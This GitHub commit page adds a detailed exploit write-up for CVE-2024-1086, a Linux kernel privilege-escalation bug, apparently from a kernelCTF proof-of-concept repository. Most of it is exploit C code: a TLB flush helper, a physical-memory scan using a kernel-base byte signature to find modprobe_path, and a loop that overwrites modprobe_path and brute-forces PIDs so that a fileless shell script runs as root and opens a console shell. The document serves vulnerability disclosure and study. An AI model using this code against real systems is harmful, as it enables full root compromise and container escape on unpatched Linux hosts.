Skip to content

Commit

Permalink
fix: completed exploit.md
Browse files Browse the repository at this point in the history
  • Loading branch information
Notselwyn committed May 15, 2024
1 parent 65aaf65 commit a4da963
Showing 1 changed file with 225 additions and 0 deletions.
225 changes: 225 additions & 0 deletions pocs/linux/kernelctf/CVE-2024-1086_lts_mitigation/docs/exploit.md
Original file line number Diff line number Diff line change
Expand Up @@ -418,6 +418,26 @@ Here's the part with the PMD write, or put differently, the target-address-write
`memdump_info->mem_status == MEM_STAT_DO_UPDATE` tells the loop to change the PMD area to a base of `memdump_info->iteration_base`. After it is done, it will change it to `memdump_info->mem_status == MEM_STAT_DO_IO`, letting the other thread know it can continue.

```c
static void flush_tlb(void *x, void *addr, size_t len)
{
short *status;

status = mmap(NULL, sizeof(short), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);

*status = FLUSH_STAT_INPROGRESS;
if (fork() == 0)
{
munmap(addr, len);
*status = FLUSH_STAT_DONE;
PRINTF_VERBOSE("[*] flush tlb thread gonna sleep\n");
sleep(9999);
}

SPINLOCK(*status == FLUSH_STAT_INPROGRESS);

munmap(status, sizeof(short));
}

static void privesc_flh_bypass(struct shared_info *memdump_info)
{
// ... (var declarations)
Expand Down Expand Up @@ -473,4 +493,209 @@ static void privesc_flh_bypass(struct shared_info *memdump_info)
// ... (more exploit stuff)
}
}
```
### Finding `modprobe_path` through physical scanning
This part of the exploit is pretty obvious, it iterates through the entire physical memory and utilizes the KASLR bruteforce technique. By scanning for the kernel start in increments of `CONFIG_PHYSICAL_START`, and then scanning manually 80MiB kernel memroy, we can find `modprobe_path` with minimal effort.
The signature for the first page of the kernel is automatically generated.
```c
static int is_kernel_base(unsigned char *addr)
{
// thanks python
if (memcmp(addr + 0x0, "\x48\x8d\x25\x51\x3f", 5) == 0 &&
memcmp(addr + 0x7, "\x48\x8d\x3d\xf2\xff\xff\xff\xb9\x01\x01\x00\xc0\x48\x8b\x05", 15) == 0 &&
memcmp(addr + 0x1a, "\x48\xc7\xc2\x00\x00\x00", 6) == 0 &&
memcmp(addr + 0x21, "\x48\x29\xd0\x48\x01\xf8\x48\x89\xc2\x48\xc1\xea\x20\x0f\x30\x56\xe8", 17) == 0 &&
memcmp(addr + 0x34, "\x00\x00\x5e", 3) == 0 &&
memcmp(addr + 0x43, "\x48", 1) == 0 &&
memcmp(addr + 0x4d, "\xe8", 1) == 0 &&
memcmp(addr + 0x50, "\x00\x00\x48\x8d\x3d\xa7\xff\xff\xff\x56\xe8", 11) == 0 &&
memcmp(addr + 0x5d, "\x00\x00\x5e\x48", 4) == 0 &&
memcmp(addr + 0x6c, "\x00\x00\x00\x00\xe8", 5) == 0 &&
memcmp(addr + 0x72, "\x00\x00\x00\x48\x8b\x04\x25", 7) == 0 &&
memcmp(addr + 0x7d, "\x48", 1) == 0 &&
memcmp(addr + 0x8d, "\x00\x00", 2) == 0) {
return 1;
}
return 0;
}
static void privesc_flh_bypass(struct shared_info *memdump_info)
{
// ... (var declarations)
struct ip df_ip_header = {
.ip_v = 4,
.ip_hl = 5,
.ip_tos = 0,
.ip_len = 0xDEAD,
.ip_id = 0xDEAD,
.ip_off = 0xDEAD,
.ip_ttl = 128,
.ip_p = 69,
.ip_src.s_addr = inet_addr("1.1.1.1"),
.ip_dst.s_addr = inet_addr("255.255.255.255"),
};
int child_pid;
// ... (setup)
pin_cpu(0);
child_pid = fork();
if (child_pid == 0) {
// PMD write loop (through IPC)
} else {
// allocate overlapping PUD (overlaps with PMD)
memdump_info->mem_status = MEM_STAT_DO_UPDATE;
SPINLOCK(memdump_info->mem_status == MEM_STAT_DO_UPDATE);
// pud area is be overwritten using pmd area, but the TLB has not been flushed, so it is still cached with the old page
// this flushed the kernel area of the pud
flush_tlb(memdump_info, _pud_area, 0x400000);
printf("[*] value for PUD page: %016llx\n", *(unsigned long long*)_pud_area);
// get physical kernel base based on initial page's bytes
// - this "kernel base" is actually the assembly bytecode of start_64() and variants
// - it's different per architecture and per compiler (clang produces different signature than gcc)
// - this can be derived from the vmlinux file by checking the second segment, which starts likely at binary offset 0x200000
// - i.e: xxd ./vmlinux | grep '00200000:'
// run this script instead of /sbin/modprobe
int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
int status_fd = memfd_create("", MFD_CLOEXEC);
for (int kernel_pud_pte_index=0; kernel_pud_pte_index < 512; kernel_pud_pte_index++) {
// check for x64-gcc/clang signatures of kernel code segment at rest and at runtime
if (is_kernel_base(pud_kernel_area + kernel_pud_pte_index * 0x1000) == 0)
continue;
memdump_info->kernel_addr = kernel_pud_pte_index * CONFIG_PHYSICAL_START;
memdump_info->iteration_base = (unsigned long long)memdump_info->kernel_addr;
printf("[+] found kernel phys addr: %016llx\n", memdump_info->kernel_addr);
// scan 0x4000000 bytes from kernel base for modprobe path. if not found, just search for another kernel base
for (int i=0; i < 40; i++) {
void *pud_modprobe_addr;
memdump_info->mem_status = MEM_STAT_DO_UPDATE;
SPINLOCK(memdump_info->mem_status == MEM_STAT_DO_UPDATE);
flush_tlb(memdump_info, _pud_area, 0x400000);
PRINTF_VERBOSE("[*] scanning string '%s' @ %p in %016llx, pud val: %016llx...\n", modprobe_path, modprobe_path, memdump_info->iteration_base, *(unsigned long long*)pud_data_area);
pud_modprobe_addr = memmem(pud_data_area, 0x200000, modprobe_path, KMOD_PATH_LEN);
memdump_info->iteration_base += 0x200000;
if (pud_modprobe_addr == NULL)
continue;
printf("[+] found modprobe path: '%s' @ %p (0x%016llx) by matching '%s' @ %p\n", (char*)pud_modprobe_addr, pud_modprobe_addr, memdump_info->iteration_base + (pud_modprobe_addr - pud_data_area), modprobe_path, modprobe_path);
// ... (privesc using modprobe_path overwrite)
}
printf("[*] failed to locate modprobe. trying to find new kernel base...\n");
}
printf("[!] failed to find kernel code segment... TLB flush fail?\n");
memdump_info->exploit_status = EXPLOIT_STAT_FAIL;
exit(1);
}
}
```

### Overwriting `modprobe_path` / namespace escape

In this part of the exploit, we overwrite the `modprobe_path` variable, and trigger it.

We overwrite `modprobe_path` to `/proc/<exploit_pid>/fd/<privesc_script_fd>`, which allows us to fileless execute it as root. The content of `privesc_script_fd` will be:

```bash
#!/bin/sh
echo -n 1 > /proc/$exploit_pid/fd/$privesc_status_fd
cat /flag >/dev/console
/bin/sh 0</dev/console 1>/dev/console 2>&1
```

Keep in mind: here we used $ for denoting variables dynamically inserted with `dprintf()`.

The exploit_pid needs to be bruteforced since we need the PID from the root PID namespace for the fd hijack. We can check if we got the right PID by making sure it writes to `privesc_status_fd`, which will be checked for a value in the exploit so it knows when to stop.

```c
static void privesc_flh_bypass(struct shared_info *memdump_info)
{
// ... (var declarations)
int child_pid;

// ... (setup)

pin_cpu(0);
child_pid = fork();

if (child_pid == 0) {
// PMD write loop (through IPC)
} else {
// ... (setup PTE)

// run this script instead of /sbin/modprobe
int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
int status_fd = memfd_create("", MFD_CLOEXEC);
for (int kernel_pud_pte_index=0; kernel_pud_pte_index < 512; kernel_pud_pte_index++) {
// ... (filter kernel start page)

for (int i=0; i < 40; i++) {
// ... (filter modprobe_path data)

// ===== NEXT PHASE: privesc using modprobe_path overwrite =====

printf("[*] modprobe_script_fd: %d, status_fd: %d\n", modprobe_script_fd, status_fd);

int status_cnt;
for (pid_t pid_guess=0; pid_guess < 65536; pid_guess++)
{
char buf;

// overwrite the `modprobe_path` kernel variable to "/proc/<pid>/fd/<script_fd>"
// - use /proc/<pid>/* since container path may differ, may not be accessible, et cetera
// - it must be root namespace PIDs, and can't get the root ns pid from within other namespace
MEMCPY_HOST_FD_PATH(pud_modprobe_addr, pid_guess, modprobe_script_fd);

if (pid_guess % 50 == 0)
printf("[+] setting new modprobe paths (i.e. '%s' @ %p)... matching modprobe_path scan var: '%s' @ %p\n", (char*)pud_modprobe_addr, pud_modprobe_addr, modprobe_path, modprobe_path);
lseek(modprobe_script_fd, 0, SEEK_SET); // overwrite previous entry
dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 > /proc/%u/fd/%u\ncat /flag >/dev/console\n/bin/sh 0</dev/console 1>/dev/console 2>&1\n", pid_guess, status_fd);

// when pid is correct, run custom modprobe file as root, by triggering it by executing file with unknown binfmt
modprobe_trigger_memfd();

// indicates success and stops further bruteforcing
status_cnt = read(status_fd, &buf, 1);
if (status_cnt == 0)
continue;

printf("[+] successfully breached the mainframe\n");

// prevents kernel crash due to bad pagemap
memdump_info->exploit_status = EXPLOIT_STAT_SUCCESS;
sleep(9999);
}
}
printf("[*] failed to locate modprobe. trying to find new kernel base...\n");
}

printf("[!] failed to find kernel code segment... TLB flush fail?\n");
memdump_info->exploit_status = EXPLOIT_STAT_FAIL;
exit(1);
}
}
```

0 comments on commit a4da963

Please sign in to comment.